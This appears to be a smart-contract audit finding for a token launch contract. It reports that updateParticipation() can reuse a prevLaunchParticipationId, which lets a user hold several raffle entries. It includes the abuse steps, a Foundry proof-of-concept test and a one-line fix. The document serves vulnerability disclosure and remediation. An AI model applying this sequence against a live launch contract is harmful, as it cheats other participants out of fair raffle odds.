Cheerful Lemon Leopard
Medium
updateParticipation() can be called multiple times with the same prevLaunchParticipationId, allowing user to have more than one participation ids
updateParticipation() is called with a user-provided prevLaunchParticipationId
. The token and currency amount of this old participation is set to zero and a new participation id is assigned to the user. As the docs explain:
prevLaunchParticipationId - (applies to updateParticipation requests) This would come from user input. Before signing, the backend would validate that the prevLaunchParticipationId is valid for the launchGroupId and that it belongs to the user making the request.
The user can do the following in case of a launch group which does not finalize at participation, like a raffle:
- Call
participate()
with say, 1000 token amount. They are assigned a participation id = 1. - User then calls
updateParticipation()
withprevLaunchParticipationId = 1
and new token amount as 1500. The protocol updates their token amount to 1500 and assigns a new participation id of 2. - User calls
updateParticipation()
again withprevLaunchParticipationId = 1
and new token amount as 200. The creates a new participation id of 3 which has token amount of 200. - User now has two participation ids even though only one should be allowed, thus increasing their probability of winning the raffle.
Note that before Step 3, backend has to sign the user request. Even if the backend sees that the prevLaunchParticipationId
currently has token amount as 0, it should not be a red flag since settings.minTokenAmountPerUser
is configurable and the launch group could have been set up with this setting as zero.
A user is able to create multiple participations in a launch group (e.g. a raffle which does not finalize at participation) and increase their chances of being picked as one of the winners.
Add this file as test/MultipleUpdates.t.sol
and run to see it pass:
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.8.22;
import {Test} from "forge-std/Test.sol";
import {LaunchTestBase} from "./LaunchTestBase.t.sol";
import {Launch} from "../src/Launch.sol";
import {
LaunchGroupSettings,
LaunchGroupStatus,
ParticipationRequest,
UpdateParticipationRequest,
ParticipationInfo
} from "../src/Types.sol";
contract MultipleUpdates is Test, Launch, LaunchTestBase {
LaunchGroupSettings public settings;
ParticipationRequest public initialRequest;
bytes public initialSignature;
function setUp() public {
_setUpLaunch();
// Setup initial participation
settings = _setupLaunchGroup();
initialRequest = _createParticipationRequest();
initialSignature = _signRequest(abi.encode(initialRequest));
vm.startPrank(user1);
currency.approve(
address(launch),
_getCurrencyAmount(initialRequest.launchGroupId, initialRequest.currency, initialRequest.tokenAmount)
);
launch.participate(initialRequest, initialSignature);
vm.stopPrank();
}
function test_CanReuseParticipationIdMultipleTimes() public {
// Create first update request
UpdateParticipationRequest memory firstUpdateRequest = UpdateParticipationRequest({
chainId: block.chainid,
launchId: testLaunchId,
launchGroupId: testLaunchGroupId,
prevLaunchParticipationId: initialRequest.launchParticipationId,
newLaunchParticipationId: "newParticipationId1",
userId: testUserId,
userAddress: user1,
tokenAmount: 1500 * 10 ** launch.tokenDecimals(), // Increase token amount
currency: address(currency),
requestExpiresAt: block.timestamp + 1 hours
});
bytes memory firstUpdateSignature = _signRequest(abi.encode(firstUpdateRequest));
vm.startPrank(user1);
// Approve additional tokens for first update
uint256 firstUpdateCurrencyAmount = _getCurrencyAmount(
firstUpdateRequest.launchGroupId, firstUpdateRequest.currency, firstUpdateRequest.tokenAmount
);
currency.approve(address(launch), firstUpdateCurrencyAmount);
// Perform first update
launch.updateParticipation(firstUpdateRequest, firstUpdateSignature);
// Create second update request using same prevLaunchParticipationId
UpdateParticipationRequest memory secondUpdateRequest = UpdateParticipationRequest({
chainId: block.chainid,
launchId: testLaunchId,
launchGroupId: testLaunchGroupId,
prevLaunchParticipationId: initialRequest.launchParticipationId, // Reuse the same prev ID
newLaunchParticipationId: "newParticipationId2",
userId: testUserId,
userAddress: user1,
tokenAmount: 200 * 10 ** launch.tokenDecimals(),
currency: address(currency),
requestExpiresAt: block.timestamp + 1 hours
});
bytes memory secondUpdateSignature = _signRequest(abi.encode(secondUpdateRequest));
// This should succeed even though we're reusing the same prevLaunchParticipationId
launch.updateParticipation(secondUpdateRequest, secondUpdateSignature);
vm.stopPrank();
// Verify that all three participation records exist
ParticipationInfo memory initialInfo = launch.getParticipationInfo(initialRequest.launchParticipationId);
ParticipationInfo memory firstUpdateInfo =
launch.getParticipationInfo(firstUpdateRequest.newLaunchParticipationId);
ParticipationInfo memory secondUpdateInfo =
launch.getParticipationInfo(secondUpdateRequest.newLaunchParticipationId);
// Initial participation should be zeroed out
assertEq(initialInfo.tokenAmount, 0);
assertEq(initialInfo.currencyAmount, 0);
assertEq(initialInfo.userId, testUserId); // But still retain userId
assertEq(initialInfo.currency, address(currency)); // And currency
// First update should be valid
assertEq(firstUpdateInfo.tokenAmount, firstUpdateRequest.tokenAmount);
assertEq(firstUpdateInfo.userId, testUserId);
assertEq(firstUpdateInfo.currency, address(currency));
// Second update should also be valid
assertEq(secondUpdateInfo.tokenAmount, secondUpdateRequest.tokenAmount);
assertEq(secondUpdateInfo.userId, testUserId);
assertEq(secondUpdateInfo.currency, address(currency));
}
}
Simply reset the userId
field too inside updateParticipation()
so that it would fail at this check: if (request.userId != prevInfo.userId) {revert UserIdMismatch(prevInfo.userId, request.userId);}
if called again:
// ... code inside updateParticipation()
// Reset previous participation info
prevInfo.currencyAmount = 0;
prevInfo.tokenAmount = 0;
+ prevInfo.userId = bytes32(0);
emit ParticipationUpdated(
request.launchGroupId,
request.newLaunchParticipationId,
request.userId,
msg.sender,
request.tokenAmount,
request.currency
);
}